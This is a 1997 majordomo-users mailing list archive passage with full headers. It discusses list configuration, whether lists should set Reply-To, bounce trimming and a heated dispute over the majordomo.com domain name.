1 11:30:08 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id LAA02267 for majordomo-users-outgoing; Sun, 1 Jun 1997 11:24:33 -0700 (PDT) Received: from cluster.newtoy.com (catmega.pr.mcs.net [205.253.103.20]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id LAA02253 for ; Sun, 1 Jun 1997 11:24:24 -0700 (PDT) Received: (from catmega@localhost) by cluster.newtoy.com (8.7.6/8.7.3) id NAA08527 for majordomo-users@greatcircle.com; Sun, 1 Jun 1997 13:20:41 -0500 (CDT) From: CatMega! Message-Id: <199706011820.NAA08527@cluster.newtoy.com> Subject: regexp for noadvertise - resolved To: majordomo-users@greatcircle.com Date: Sun, 1 Jun 1997 13:20:41 -0500 (CDT) X-Mailer: ELM [version 2.4ME+ PL28 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk I found my problem; /.*/ seems to have been correct. The problem was that Majordomo apparently likes to make the list visible to the list manager regardless of the regexp on noadvertise, and I was testing the visibility from the manager account. Cheers! CatMega http://www.newtoy.com From owner-majordomo-users-outgoing Sun Jun 1 12:45:23 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id MAA09368 for majordomo-users-outgoing; Sun, 1 Jun 1997 12:41:09 -0700 (PDT) Received: from londo.prescienttech.com (londo.prescienttech.com [199.103.216.62]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id MAA09331 for ; Sun, 1 Jun 1997 12:41:00 -0700 (PDT) Received: from gkar.prescienttech.com (gkar.prescienttech.com [111.17.19.1]) by londo.prescienttech.com (8.8.5/8.8.5) with ESMTP id PAA19865 for ; Sun, 1 Jun 1997 15:44:17 -0400 Received: (from ratinox@localhost) by gkar.prescienttech.com (8.8.5/8.8.5) id PAA25562; Sun, 1 Jun 1997 15:44:17 -0400 From: Rich Pieri To: majordomo-users@greatcircle.com Subject: Re: Reply To References: <199706011737.MAA04576@Venus.mcs.net> X-No-Archive: yes Date: 01 Jun 1997 15:44:17 -0400 In-Reply-To: Leslie Mikesell's message of Sun, 1 Jun 1997 12:37:34 -0500 (CDT) Message-ID: Lines: 37 X-Mailer: Gnus v5.4.55/Emacs 19.34 Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk -----BEGIN PGP SIGNED MESSAGE----- >>>>> "LM" == Leslie Mikesell writes: LM> The issue is whether it is submitting on behalf of the list or the LM> author. I don't see how this can be dictated by anyone but the list LM> manager. Regardless of who Majordomo is submitting the message for, it is not submitting it for itself. To wit, Majordomo is *NOT* composing this message, I am. I am handing it off to Majordomo for delivery to the mailing list at large. I am this message's originator, and my mailbox is up there in the originator header. You do not see any Majordomo mailboxes up there in the From header, do you? Of course, if Majordomo *IS* the originator of this message then it's mailbox should be in the From header, not mine. But that leaves the question, "where am I?" in all of this. Think about that for a bit. -----BEGIN PGP SIGNATURE----- Version: 4.0 Business Edition Charset: noconv iQCVAwUBM5HRDp6VRH7BJMxHAQG/pAP8Cd5S1tNfnFC0zDBObbdMFBZBAB+FsqUC M9S6y05j+1Hj/VIBVlQ2V/Cw/30mPJ/RtUgOMMy3cJP6Iw/T+2CXTxcPlzNoDjoF qgJNiWAnIFTDuv2ZsI571TvFrjq63HOxUzoyQVW24wlTQcJiyg9JDvD6079NSqZh kNfbRGcSM5A= =vH/0 -----END PGP SIGNATURE----- -- Rich Pieri | Happy Fun Ball contains a liquid Prescient Technologies, Inc. | core, which, if exposed due to A Stone & Webster Company | rupture, should not be touched, I speak for myself, not PTI or SWEC | inhaled, or looked at. From owner-majordomo-users-outgoing Sun Jun 1 12:55:18 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id MAA08745 for majordomo-users-outgoing; Sun, 1 Jun 1997 12:34:45 -0700 (PDT) Received: from mail.jentronix.com ([206.190.137.44]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id MAA08738 for ; Sun, 1 Jun 1997 12:34:40 -0700 (PDT) Received: from grumblesmurf ([206.190.137.5]) by mail.jentronix.com (Netscape Mail Server v2.02) with SMTP id AAB81; Sun, 1 Jun 1997 12:36:46 -0700 Message-Id: <3.0.1.32.19970601123124.00835ab0@mail.jentronix.com> X-Sender: tedder@mail.jentronix.com X-Mailer: Windows Eudora Pro Version 3.0.1 (32) Date: Sun, 01 Jun 1997 12:31:24 -0700 To: CatMega! , majordomo-users@greatcircle.com From: Ted Timmons Subject: Re: regexp for noadvertise - resolved In-Reply-To: <199706011820.NAA08527@cluster.newtoy.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk At 01:20 PM 6/1/97 -0500, CatMega! wrote: >I found my problem; /.*/ seems to have been correct. The problem was .* should be correct. the . matches any character except a newline, and the * means match the . 0 or more times. -- -=TED=- O- JAPH tedder@abcompsvc.com PGP available ABComputer Services, http://www.abcompsvc.com Proud father of a 53 Chev PU at http://www.chevytrucks.org From owner-majordomo-users-outgoing Sun Jun 1 13:30:18 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id NAA12682 for majordomo-users-outgoing; Sun, 1 Jun 1997 13:25:07 -0700 (PDT) Received: from nimbus.planet.com.mx (nimbus.planet.com.mx [167.114.25.68]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id NAA12666 for ; Sun, 1 Jun 1997 13:24:59 -0700 (PDT) Received: from localhost (ediaz@localhost) by nimbus.planet.com.mx (8.8.5/8.8.5) with SMTP id PAA12484; Sun, 1 Jun 1997 15:27:32 -0500 Date: Sun, 1 Jun 1997 15:27:32 -0500 (CDT) From: "J. Enrique Diaz Jolly" To: Vincent Aniello cc: majordomo-users@GreatCircle.COM Subject: Re: Script to trim bounces list In-Reply-To: <199706011651.MAA10477@tao.agoron.com> Message-ID: Organization: Interplanet SA de CV MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk On Sun, 1 Jun 1997, Vincent Aniello wrote: vincent => Has anyone created, and would like to share, a script to trim the vincent => bounces list by removing email addresses after a specified number of vincent => days based on the date comment generated by the bounce script? vincent => vincent => If you have one and could post it to the list or email me with it I vincent => would appreciate it. The bounce script is capable to do so, you may run it periodically with a time parameter for remove addresses from bounces list. It comes with the standard distribution, yes, I mean that one you use to bounce any member of any lists but run on the majordomo account. Forever is going to start... right now!!! ============================================================================== Jose Enrique Diaz Jolly e-mail: ediaz@planet.com.mx Interplanet +52(5)539-4142 jedj@mexicomail.com http://www.planet.com.mx e.diaz-jolly@ieee.org ============================================================================== From owner-majordomo-users-outgoing Sun Jun 1 14:00:12 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id NAA13717 for majordomo-users-outgoing; Sun, 1 Jun 1997 13:50:42 -0700 (PDT) Received: from Kitten.mcs.com (Kitten.mcs.com [192.160.127.90]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id NAA13692 for ; Sun, 1 Jun 1997 13:50:31 -0700 (PDT) Received: from Jupiter.Mcs.Net (les@Jupiter.mcs.net [192.160.127.88]) by Kitten.mcs.com (8.8.5/8.8.2) with ESMTP id PAA17272; Sun, 1 Jun 1997 15:53:51 -0500 (CDT) Received: (from les@localhost) by Jupiter.Mcs.Net (8.8.5/8.8.2) id PAA04358; Sun, 1 Jun 1997 15:53:51 -0500 (CDT) From: Leslie Mikesell Message-Id: <199706012053.PAA04358@Jupiter.Mcs.Net> Subject: Re: Reply To To: rich.pieri@prescienttech.com (Rich Pieri) Date: Sun, 1 Jun 1997 15:53:51 -0500 (CDT) Cc: majordomo-users@GreatCircle.COM In-Reply-To: from "Rich Pieri" at Jun 1, 97 03:44:17 pm X-Mailer: ELM [version 2.4 PL24] Content-Type: text Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk > LM> The issue is whether it is submitting on behalf of the list or the > LM> author. I don't see how this can be dictated by anyone but the list > LM> manager. > > Regardless of who Majordomo is submitting the message for, it is not > submitting it for itself. To wit, Majordomo is *NOT* composing this > message, I am. I am handing it off to Majordomo for delivery to the > mailing list at large. I am this message's originator, and my mailbox is > up there in the originator header. You do not see any Majordomo mailboxes > up there in the From header, do you? > > Of course, if Majordomo *IS* the originator of this message then it's > mailbox should be in the From header, not mine. But that leaves the > question, "where am I?" in all of this. > > Think about that for a bit. I did think about it before my previous posting but you deleted the part that disagreed with your opinion. In my opinion, a list manager has the right to create a moderated list and insert editorial comments before forwarding on to the destination addresses. In this case the message is clearly not the original author's submission and the headers can/should be modified. It is also my opinion that such a moderator is not obligated to make comments in any particular message before sending it on to the list he controls, and in fact can let an automatic agent do it on his behalf. It still is submitted to the list in the form he wants to submit it and he is thus responsible for the content that he could have modified but didn't. And to reverse your argument, if majordomo (as an agent of the list manager) isn't the reason I have this message, what is it? You wouldn't have sent something to me were it not for the list so why shouldn't my reply be guided back the same way? However, this is silly semantics - the real issue is where a 'normal' reply should go and I believe this depends on the nature of the list and the intent of it's manager. If it takes a modification of the message body and message ID to convince purists that a modification to the header is legal, so be it. Consider it a digest form where the digest is composed on every single message. There are lists that work this way, and from an end user viewpoint I prefer them at least for technical topics where you are unlikely to send something personal to the list by mistake. The question is, how do those lists avoid problems with mail loops caused by forwarding through transports that only understand a single return address? Les Mikesell les@mcs.com From owner-majordomo-users-outgoing Sun Jun 1 14:15:08 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id OAA14418 for majordomo-users-outgoing; Sun, 1 Jun 1997 14:06:46 -0700 (PDT) Received: from mail.sparknet.net (mail.sparknet.net [207.67.22.80]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id OAA14407 for ; Sun, 1 Jun 1997 14:06:39 -0700 (PDT) Received: from freedom.sparknet.net (freedom.sparknet.net [207.250.11.130]) by mail.sparknet.net (8.7.4/8.7.3) with SMTP id QAA27743; Sun, 1 Jun 1997 16:10:16 -0500 (CDT) Message-Id: <3.0.32.19970601161204.00dc62a8@mail.sparknet.net> X-Sender: knight@mail.sparknet.net X-Mailer: Windows Eudora Pro Version 3.0 (32) Date: Sun, 01 Jun 1997 16:12:07 -0500 To: Kent Crispin , majordomo-users@GreatCircle.COM From: Christopher Knight Subject: Re: majordomo.com Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk At 11:06 AM 6/1/97 -0700, Kent Crispin wrote: >Most assuredly not. BC/GCA have a clear prior use claim, which, in my >opinion, they should assert by first sending a "cease and desist" >letter. If they don't, the ***** opportunists at majordomo.com will >muddy the waters about majordomo forever, especially if, as they >claim, they are producing a commercial product based on it, and >eventually they may even claim the name. 1.I have no intention to trademark MAJORDOMO, nor will I. 2.I have no intention to muddy the waters, nor destroy the great contribution to society majordomo has delivered. 3.I have no intention to market a commercial product under the Majordomo name, nor will I. 4. An opportunist, and entrapeneur, Yes...I guess I am. But did you also recall that I have opened my arms to the Majordomo community to use the domain/website to extend the Majordomo efforts, upon Brent's request. Do you understand what I am saying, Kent? I am saying I want to SHARE the opportunity, so lets lose the badgering, and get down to HOW this opportunity can benefit more folks!...:- -Chris From owner-majordomo-users-outgoing Sun Jun 1 15:00:17 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id OAA17225 for majordomo-users-outgoing; Sun, 1 Jun 1997 14:47:45 -0700 (PDT) Received: from cam053212.student.utwente.nl (cam053212.student.utwente.nl [130.89.226.142]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id OAA17176 for ; Sun, 1 Jun 1997 14:47:35 -0700 (PDT) Received: by oloon.student.utwente.nl id <50879-31762>; Sun, 1 Jun 1997 23:50:25 +0200 Date: Sun, 1 Jun 1997 23:50:22 +0200 (CEST) From: Remco van de Meent X-Sender: remco@cam053212.student.utwente.nl To: Lisa Kiczuk cc: Majordomo-users Mailing list Subject: Re: problem: sendmail or majordomo? In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk On Sun, 1 Jun 1997, Lisa Kiczuk wrote: [about messages in the sendmail queue to the majordomo-wrapper] This is a sendmail problem: majordomo isn't involved in delivering to the wrapper. Unless you moved some files ;) bye -- // Remco van de Meent // email: remco@oloon.student.utwente.nl // www: http://oloon.student.utwente.nl // " Never make any mistaeks. " From owner-majordomo-users-outgoing Sun Jun 1 15:45:08 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id PAA22176 for majordomo-users-outgoing; Sun, 1 Jun 1997 15:31:27 -0700 (PDT) Received: from tor.abc.se (tor.abc.se [192.36.170.11]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id PAA22140 for ; Sun, 1 Jun 1997 15:31:10 -0700 (PDT) Received: from pm2-19.abc.se (pm2-19 [192.36.170.68]) by tor.abc.se (8.8.5/8.8.5) with SMTP id AAA22802 for ; Mon, 2 Jun 1997 00:34:20 +0200 (MET DST) Message-Id: <199706012234.AAA22802@tor.abc.se> From: "Mats Dufberg" To: "Majordomo Users" Date: Sun, 01 Jun 97 21:36:27 +0200 Reply-To: "Mats Dufberg" X-Mailer: PMMail 1.92 For OS/2 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Subject: Re: Reply To Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk On Sun, 1 Jun 1997 12:37:34 -0500 (CDT), Leslie Mikesell wrote: >The issue is whether it is submitting on behalf of the list or the author. >I don't see how this can be dictated by anyone but the list manager. As long as the message keeps the original FROM there is no question that the message is submitted in behalf of the author. >If it takes insertion of text and a new message ID to >'prove' that the message is no longer the same one the originator >submitted, then let's find a way to do it so everyone knows what >is happening. And changing the FROM. And inserting text that credits the original author of the text. Mats Dufberg mats.dufberg@abc.se From owner-majordomo-users-outgoing Sun Jun 1 16:32:19 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id QAA27600 for majordomo-users-outgoing; Sun, 1 Jun 1997 16:23:54 -0700 (PDT) Received: from drizzle.com (slug.drizzle.com [207.207.67.200]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id QAA27566 for ; Sun, 1 Jun 1997 16:23:42 -0700 (PDT) Received: from [207.207.67.231] (dialup31.drizzle.com [207.207.67.231]) by drizzle.com (8.8.5/8.6.12) with SMTP id QAA29105 for ; Sun, 1 Jun 1997 16:22:57 -0700 Message-Id: <199706012322.QAA29105@drizzle.com> Subject: Re: majordomo.com Date: Sun, 1 Jun 97 16:26:26 -0800 x-mailer: Claris Emailer 2.0, March 15, 1997 From: Rivermoon To: Mime-Version: 1.0 Content-Type: text/plain; charset="US-ASCII" Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk On 6/1/97 1:12 PM, Christopher Knight (christopher.knight@sparknet.net) wrote: >1.I have no intention to trademark MAJORDOMO, nor will I. > You would get in serious legal trouble if you did. In fact, if the people at Great Circle wanted to take action, you could get into serious legal trouble *right now*. >2.I have no intention to muddy the waters, nor destroy the great >contribution to society majordomo has delivered. > But you already *have* muddied them. It will only be more confusing to unsuspecting users than it is *now* if the creators of Majordomo "share" that name with you, when it really belongs to them. I keep hearing the words "bait and switch" in my mind... >3.I have no intention to market a commercial product under the Majordomo >name, nor will I. Ahem. Go look at your web site. "A Majordomo dealer?" Yes, it's still on your page. Get a load of this email address: "ceo@majordomo.com?" This is egregious. Much of the "content" on your site suggests you have the rights to and created Majordomo, as has been pointed out by others. Using an email address like the one above clearly suggests that not only do you own the name but that you own a company called "Majordomo." You are deceiving people to benefit yourself. It's too late to make statement #3. You buried the truth three levels deep, and you know many people aren't going to even look at that because they *already assume* that you own the name and the software, because you are using that domain name. >4. An opportunist, and entrapeneur, Yes...I guess I am. But did you also >recall that I have opened my arms to the Majordomo community to use the >domain/website to extend the Majordomo efforts, upon Brent's request. Do >you understand what I am saying, Kent? I am saying I want to SHARE the >opportunity, so lets lose the badgering, and get down to HOW this >opportunity can benefit more folks!...:- Forgive my cynicism, but this seems akin to one person writing a manuscript, another person stealing and taking credit for it, and then after much written pressure, offering to "share" writing credit with the original and sole author of the work. This approach is a few bricks short. You simply don't have the right to use that name. Your good intentions seem to be trailing far behind your willingness to trample other people's hard work to make a buck for yourself, and as such your intentions have little credibility. There is one legitimate solution to this issue, and that is to give the name to the people who have the right to use it. Others have been successfully sued for what you are now doing, Mr. Knight. In addition, I guarantee you have wasted many, many people's time who have stopped at your web site looking for the real Majordomo site. You and I both know that every person who does a search for the official site is going to find yours *first* which is that many more people you've been able to advertise to, and that many more people who are unclear about the relationship you *don't* have with Great Circle. You and everyone on this list knows what's going on here, and there's no way you can talk yourself out of it. You cannot *share* with your victims what you have *stolen* from them. Kirsten O. rivrmoon@drizzle.com -------------------------------------------------------------------------- "...awakening is never the product of force but arises through a resting of the heart and an opening of the mind." --Jack Kornfield, _A Path With Heart_ From owner-majordomo-users-outgoing Sun Jun 1 17:00:15 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id QAA00377 for majordomo-users-outgoing; Sun, 1 Jun 1997 16:50:25 -0700 (PDT) Received: from envy.gmp.usyd.edu.au (envy.gmp.usyd.edu.au [129.78.231.1]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id QAA00367 for ; Sun, 1 Jun 1997 16:50:17 -0700 (PDT) Received: from [129.78.231.56] (dickens-56.gmp.usyd.edu.au) by envy.gmp.usyd.edu.au (Netscape Mail Server v2.02) with SMTP id AAA6280; Mon, 2 Jun 1997 09:53:11 +1000 Message-ID: <33920C17.A20ED457@gmp.usyd.edu.au> Date: Mon, 02 Jun 1997 09:56:12 +1000 From: yvain@gmp.usyd.edu.au (Chris Albone) Reply-To: yvain@gmp.usyd.edu.au Organization: Graduate Medical Prgram, Uni of Sydney X-Mailer: Mozilla 4.0b5 (Macintosh; I; PPC) MIME-Version: 1.0 To: Majordomo-users@greatcircle.com Subject: Majordomo and Netscape Mail Server X-Priority: 3 (Normal) Content-Type: text/plain; charset=iso-8859-1 Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk Hi All,     I have played with Majordomo quite successfully before, but now i find myself having to implement it in conjunction with Netscape Mail Server 2.x. The tricky bit seems to be getting the aliases right with netscape Mail Server. Has anyone out there implemented MD on Netscape Mail Server? If so, could they give me a hand with setting up aliases correctly. thanx chris From owner-majordomo-users-outgoing Sun Jun 1 17:15:10 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id RAA01543 for majordomo-users-outgoing; Sun, 1 Jun 1997 17:02:23 -0700 (PDT) Received: from quindim.nc-rj.rnp.br (quindim.nc-rj.rnp.br [200.17.63.111]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with SMTP id RAA01527 for ; Sun, 1 Jun 1997 17:02:17 -0700 (PDT) Received: from AMDk5 (sorvete7.nc-rj.rnp.br) by quindim.nc-rj.rnp.br (4.1/SMI-4.1) id AA17648; Sun, 1 Jun 97 21:09:52 EST Date: Sun, 1 Jun 97 21:09:50 EST Message-Id: <9706020009.AA17648@quindim.nc-rj.rnp.br> X-Sender: pgwerner@quindim.nc-rj.rnp.br (Unverified) X-Mailer: Windows Eudora v1.4.4 Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" To: "majordomo-users" From: "C.Gustavo Werner" Subject: Re: Multiple Copies of Messages Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk At 08:18 31/05/97 -0700, you wrote: >>I got a copy of majordomo 1.93 on a linux 1.2.8 machine. It worked fine >>for >>more than a year but last week ( apparently caused by a flood of RETURN >>RECEIPT messages on a single list ) some lists handled by majordomo were >>sending multiple copies of some messages ( not all the msgs and not all >>the >>lists, just the heavy traffic ones ). >Why are you still using an old version? Because I don't know how painful it is. First I wanna be sure that my multiple messages problem was caused by a bug on majordomo not by a sendmail misconfiguration... Any help? TIA. Gustavo. From owner-majordomo-users-outgoing Sun Jun 1 17:22:07 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id RAA02081 for majordomo-users-outgoing; Sun, 1 Jun 1997 17:11:37 -0700 (PDT) Received: from mail.sparknet.net (mail.sparknet.net [207.67.22.80]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id RAA02074 for ; Sun, 1 Jun 1997 17:11:32 -0700 (PDT) Received: from freedom.sparknet.net (freedom.sparknet.net [207.250.11.130]) by mail.sparknet.net (8.7.4/8.7.3) with SMTP id TAA10999 for ; Sun, 1 Jun 1997 19:15:15 -0500 (CDT) Message-Id: <3.0.32.19970601191437.006d9630@mail.sparknet.net> X-Sender: knight@mail.sparknet.net X-Mailer: Windows Eudora Pro Version 3.0 (32) Date: Sun, 01 Jun 1997 19:17:08 -0500 To: majordomo-users@GreatCircle.COM From: Christopher Knight Subject: Re: majordomo.com Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk At 04:26 PM 6/1/97 -0800, Rivermoon wrote: --SNIP--- >Your good >intentions seem to be trailing far behind your willingness to trample >other people's hard work to make a buck for yourself, and as such your >intentions have little credibility. Trample other people hard work for a buck? BS. I invested well over $100K into the further development of our list-server (90% of that money going to my technicians/programmers), so that it would be stronger, more reliable, and easier to use for our clients. I'd like to also remind you that there are another thousand ISP's out there advertising Majordomo as their list-server, (just to name a few) http://majordomo.nether.net:8000/ http://majordomo.pobox.com/ http://www.listbox.com/ http://www.ipr.net/services/majordomo.cgi?lang=en&count=1 and more..... and yes, they are making a buck at it too (hopefully). You understand, that when a company has profit, that allows technicians to have nice salaries, great benefits, and educational opportunities to better themselves. I have not made a dime on this business yet, because of all the investment that was necessary to deliver excellent service. (which was my choice) ...heck, there is even a guy in Michigan who owns majordomo.net. My point: all that hard work is benefiting folks all over the world. It was and is not in vain. >In addition, I guarantee you have wasted many, many people's time who >have stopped at your web site looking for the real Majordomo site. You >and I both know that every person who does a search for the official site >is going to find yours *first* ---SNIPPED-- I just did a search for Majordomo on Yahoo, and this is what I found: http://search.yahoo.com/bin/search?p=majordomo Majordomo - official distribution site http://www.greatcircle.com/majordomo/ My point: The VERY FIRST link when you search for the word (majordomo) on the largest and most popular search engine on this planet (yahoo) is the greatcircle Majordomo website. In the interest of peace, I will add a link Monday to the Greatcircle page, so that future visitors can find their way to the domo distribution site. From owner-majordomo-users-outgoing Sun Jun 1 17:30:14 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id RAA01939 for majordomo-users-outgoing; Sun, 1 Jun 1997 17:07:14 -0700 (PDT) Received: from fugue.chatham.org (fugue.chatham.org [206.160.163.1]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id RAA01931 for ; Sun, 1 Jun 1997 17:07:08 -0700 (PDT) Received: from fugue.chatham.org (localhost [127.0.0.1]) by fugue.chatham.org (8.8.5/8.8.5) with SMTP id TAA20976; Sun, 1 Jun 1997 19:10:08 -0500 Message-ID: <33920F5F.2E5ADEC8@chatham.org> Date: Sun, 01 Jun 1997 19:10:07 -0500 From: "Dale J. Chatham" X-Mailer: Mozilla 3.01Gold (X11; I; Linux 2.0.23 i586) MIME-Version: 1.0 To: Rivermoon CC: majordomo-users@GreatCircle.COM Subject: Re: www.majordomo.com References: <199706010516.WAA10535@drizzle.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk Rivermoon wrote: > > On 5/31/97 8:59 PM, Kynn Bartlett (kynn@idyllmtn.com) wrote: > > >Okay, fair enough. But I guess unless GCA wants to sue > >majordomo.com -- which they might, I dunno -- it won't matter > >until then. In other words, you and I can say it's bad, but > >unless Brent hauls 'em into court, nothing will happen. > > > >Yes? > > *Unless* the registrants of majordomo.com can see that the light at the > end of the tunnel is the headlamp of an oncoming train, and decide to do > the honorable thing and voluntarily transfer the name over to the > rightful owners--thus avoiding both sides paying lots of money to lawyers > and taxing the already-overburdened legal system, when these steps can be > avoided by the appropriate party coming forth and redeeming themselves. > > Think of it as the duty we have to our fellow taxpayers not to waste more > of their money, if thinking of it as the ethical and moral thing to do > isn't good enough. (I presume that it is, but I may be an idealist.) > > Kirsten O. > rivrmoon@drizzle.com Ummm... folks, There are two parties here. The folks at GreatCircle and the holders of the majordomo.com domain. This "dispute" is between them. The rest of this is noise. If you want to bitch at majordomo.com, send *THEM* e-mail. Frankly, unless the folks at GreatCircle want our help, it is superfluous. If you wish to write the holders of majordomo.com, here are the contacts. Otherwise, it isn't any of our business and I can do without the noise. $ whois majordomo.com [rs.internic.net] fwhois: connect: Connection refused fugue: ~ $ whois majordomo.com [rs.internic.net] SparkNET Corporation (MAJORDOMO3-DOM) 1800 W. Mason St. Green Bay, WI 54303 Domain Name: MAJORDOMO.COM Administrative Contact: Knight, Christopher M (CMK13) chris@SPARKNET.NET (414) 983-9831 (FAX) (414) 983-9832 Technical Contact, Zone Contact: SparkNET Domains Registrar (SDR-ORG) domains@SPARKNET.NET 414-490-5901 Fax- 414-490-3399 Billing Contact: SparkNET Domains Registrar (SDR-ORG) domains@SPARKNET.NET 414-490-5901 Fax- 414-490-3399 Record last updated on 02-May-97. Record created on 20-Nov-96. Database last updated on 1-Jun-97 05:08:32 EDT. Domain servers in listed order: NS1.SPARKNET.NET 207.67.22.80 NS2.SPARKNET.NET 207.67.22.81 -- _ (__________) ``Necessity is the plea for every infringement _.| |_ /( oo of human freedom. It is the argument of tyrants; \. } /\_| it is the creed of slaves.'' \_( William Pitt, Earl of Chatham speech in the House of Lords, November 18, 1783 Dale J. Chatham, WA5WNI dale@chatham.org Member PETA (People Eating Tasty Animals) http://www.chatham.org From owner-majordomo-users-outgoing Sun Jun 1 18:06:22 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id RAA04551 for majordomo-users-outgoing; Sun, 1 Jun 1997 17:48:41 -0700 (PDT) Received: from god.knotwork.com (god.knotwork.com [198.166.227.1]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id RAA04544 for ; Sun, 1 Jun 1997 17:48:34 -0700 (PDT) Received: from localhost (root@localhost) by god.knotwork.com (8.8.4/8.6.10) with SMTP id VAA13101; Sun, 1 Jun 1997 21:51:56 -0300 Date: Sun, 1 Jun 1997 21:51:52 -0300 (ADT) From: Knotwork Admin To: Rich Pieri cc: majordomo-users@GreatCircle.COM Subject: Re: Reply To In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk On 1 Jun 1997, Rich Pieri wrote: > Take it for what it is worth, but the only "legitimacy" behind any other > interpretation is an ignorant desire to break RFC822 because of people too > lazy to learn how to properly use their MUAs. Surely the part of the system that is responsible for making things easy or convenient for users is the MUA - the user's agent. If the user's agent refuses to permit a simple "reply to To: address" option to the user, that is between them and their agent, it is none of the business of any part of the submission or transport agents how the user agent and the user carry out their relationship. If a MUA is not convenient, it may be argued that it is not doing its intended job. But that is not majordomo's fault. It is the fault of who-ever decided to make the agent too braindead to deal with mailing-lists. Whenever I wrote user agents, such as in my BBS programs, I always put a "Comment to same place the message commented upon is going" asa well as a "reply to wherever to message replied to came from". Is that such a complex concept? Blessed Be. -MarkM- -- We do remote Linux install, config, support and administration. Inquire. ........................................................................ "The saddest thing is they WANT to be ignorant, INSIST on it in fact." From owner-majordomo-users-outgoing Sun Jun 1 18:30:08 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id SAA06705 for majordomo-users-outgoing; Sun, 1 Jun 1997 18:21:39 -0700 (PDT) Received: from god.knotwork.com (god.knotwork.com [198.166.227.1]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id SAA06698 for ; Sun, 1 Jun 1997 18:21:30 -0700 (PDT) Received: from localhost (root@localhost) by god.knotwork.com (8.8.4/8.6.10) with SMTP id WAA31605 for ; Sun, 1 Jun 1997 22:24:56 -0300 Date: Sun, 1 Jun 1997 22:24:53 -0300 (ADT) From: Knotwork Admin To: majordomo-users@GreatCircle.COM Subject: Re: Reply To In-Reply-To: <199706012053.PAA04358@Jupiter.Mcs.Net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk On Sun, 1 Jun 1997, Leslie Mikesell wrote: > And to reverse your argument, if majordomo (as an agent of the list > manager) isn't the reason I have this message, what is it? You > wouldn't have sent something to me were it not for the list so why > shouldn't my reply be guided back the same way? However, this is > silly semantics - the real issue is where a 'normal' reply should > go and I believe this depends on the nature of the list and the I think that if a person wishes to post to the list, or comment to the list, then they should post or comment or expand-upon or follow-up or some such thing, not reply. To reply to the author of a posting should be distinct from following-up or commenting-upon or expanding-upon etc etc etc. It is a very simple distinction between sending to the addresses a message is FROM and sending to the addresses a message is TO. If a message is sent TO a mailing-list or newsgroup or other object (in my BBS system messages could be TO any object: spaceships, places, game-characters, any object existing in the system) then it is needful to provide two separate responding operations: respond to author and respond to target/recipient. The normal term for respond-to-author is "reply"; the normal terms for respond-to-target are terms such as "post", "comment", and "followup". Using the same term, "reply", for such is merely confusing and does not help to clarify the distinction. Unfortunately my MUA, pine, does not seem to have a 